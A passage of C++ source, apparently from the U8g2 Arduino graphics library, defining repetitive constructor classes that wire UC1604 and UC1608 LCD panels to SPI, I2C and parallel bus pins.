u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1604_JLX19264_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1604_JLX19264_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1604_JLX19264_2_3W_SW_SPI : public U8G2 { public: U8G2_UC1604_JLX19264_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1604_JLX19264_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1604_JLX19264_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1604_JLX19264_2_6800 : public U8G2 { public: U8G2_UC1604_JLX19264_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1604_JLX19264_2_8080 : public U8G2 { public: U8G2_UC1604_JLX19264_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1604_JLX19264_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1604_JLX19264_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1604_JLX19264_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1604_JLX19264_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1604_JLX19264_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1604_JLX19264_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1604_JLX19264_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1604_JLX19264_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1604_JLX19264_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1604_JLX19264_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1604_JLX19264_F_6800 : public U8G2 { public: U8G2_UC1604_JLX19264_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1604_JLX19264_F_8080 : public U8G2 { public: U8G2_UC1604_JLX19264_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_jlx19264_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1604_JLX19264_1_SW_I2C : public U8G2 { public: U8G2_UC1604_JLX19264_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_i2c_jlx19264_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1604_JLX19264_1_HW_I2C : public U8G2 { public: U8G2_UC1604_JLX19264_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_i2c_jlx19264_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1604_JLX19264_1_2ND_HW_I2C : public U8G2 { public: U8G2_UC1604_JLX19264_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_i2c_jlx19264_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1604_JLX19264_2_SW_I2C : public U8G2 { public: U8G2_UC1604_JLX19264_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_i2c_jlx19264_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1604_JLX19264_2_HW_I2C : public U8G2 { public: U8G2_UC1604_JLX19264_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_i2c_jlx19264_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1604_JLX19264_2_2ND_HW_I2C : public U8G2 { public: U8G2_UC1604_JLX19264_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_i2c_jlx19264_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1604_JLX19264_F_SW_I2C : public U8G2 { public: U8G2_UC1604_JLX19264_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_i2c_jlx19264_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_UC1604_JLX19264_F_HW_I2C : public U8G2 { public: U8G2_UC1604_JLX19264_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_i2c_jlx19264_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_UC1604_JLX19264_F_2ND_HW_I2C : public U8G2 { public: U8G2_UC1604_JLX19264_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1604_i2c_jlx19264_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_UC1608_ERC24064_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1608_ERC24064_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1608_ERC24064_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_ERC24064_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_ERC24064_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_ERC24064_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_ERC24064_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1608_ERC24064_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1608_ERC24064_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1608_ERC24064_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1608_ERC24064_1_6800 : public U8G2 { public: U8G2_UC1608_ERC24064_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_ERC24064_1_8080 : public U8G2 { public: U8G2_UC1608_ERC24064_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_DEM240064_1_4W_SW_SPI : public U8G2 { public: U8G2_UC1608_DEM240064_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1608_DEM240064_1_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_DEM240064_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_DEM240064_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_DEM240064_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_DEM240064_1_3W_SW_SPI : public U8G2 { public: U8G2_UC1608_DEM240064_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1608_DEM240064_1_3W_HW_SPI : public U8G2 { public: U8G2_UC1608_DEM240064_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1608_DEM240064_1_6800 : public U8G2 { public: U8G2_UC1608_DEM240064_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_DEM240064_1_8080 : public U8G2 { public: U8G2_UC1608_DEM240064_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_ERC24064_2_4W_SW_SPI : public U8G2 { public: U8G2_UC1608_ERC24064_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1608_ERC24064_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_ERC24064_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_ERC24064_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_ERC24064_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_ERC24064_2_3W_SW_SPI : public U8G2 { public: U8G2_UC1608_ERC24064_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1608_ERC24064_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1608_ERC24064_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1608_ERC24064_2_6800 : public U8G2 { public: U8G2_UC1608_ERC24064_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_ERC24064_2_8080 : public U8G2 { public: U8G2_UC1608_ERC24064_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_DEM240064_2_4W_SW_SPI : public U8G2 { public: U8G2_UC1608_DEM240064_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1608_DEM240064_2_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_DEM240064_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_DEM240064_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_DEM240064_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_DEM240064_2_3W_SW_SPI : public U8G2 { public: U8G2_UC1608_DEM240064_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1608_DEM240064_2_3W_HW_SPI : public U8G2 { public: U8G2_UC1608_DEM240064_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1608_DEM240064_2_6800 : public U8G2 { public: U8G2_UC1608_DEM240064_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_DEM240064_2_8080 : public U8G2 { public: U8G2_UC1608_DEM240064_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_ERC24064_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1608_ERC24064_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1608_ERC24064_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_ERC24064_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_ERC24064_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_ERC24064_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_UC1608_ERC24064_F_3W_SW_SPI : public U8G2 { public: U8G2_UC1608_ERC24064_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_UC1608_ERC24064_F_3W_HW_SPI : public U8G2 { public: U8G2_UC1608_ERC24064_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_UC1608_ERC24064_F_6800 : public U8G2 { public: U8G2_UC1608_ERC24064_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_ERC24064_F_8080 : public U8G2 { public: U8G2_UC1608_ERC24064_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_erc24064_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_UC1608_DEM240064_F_4W_SW_SPI : public U8G2 { public: U8G2_UC1608_DEM240064_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_UC1608_DEM240064_F_4W_HW_SPI : public U8G2 { public: U8G2_UC1608_DEM240064_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_uc1608_dem240064_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); 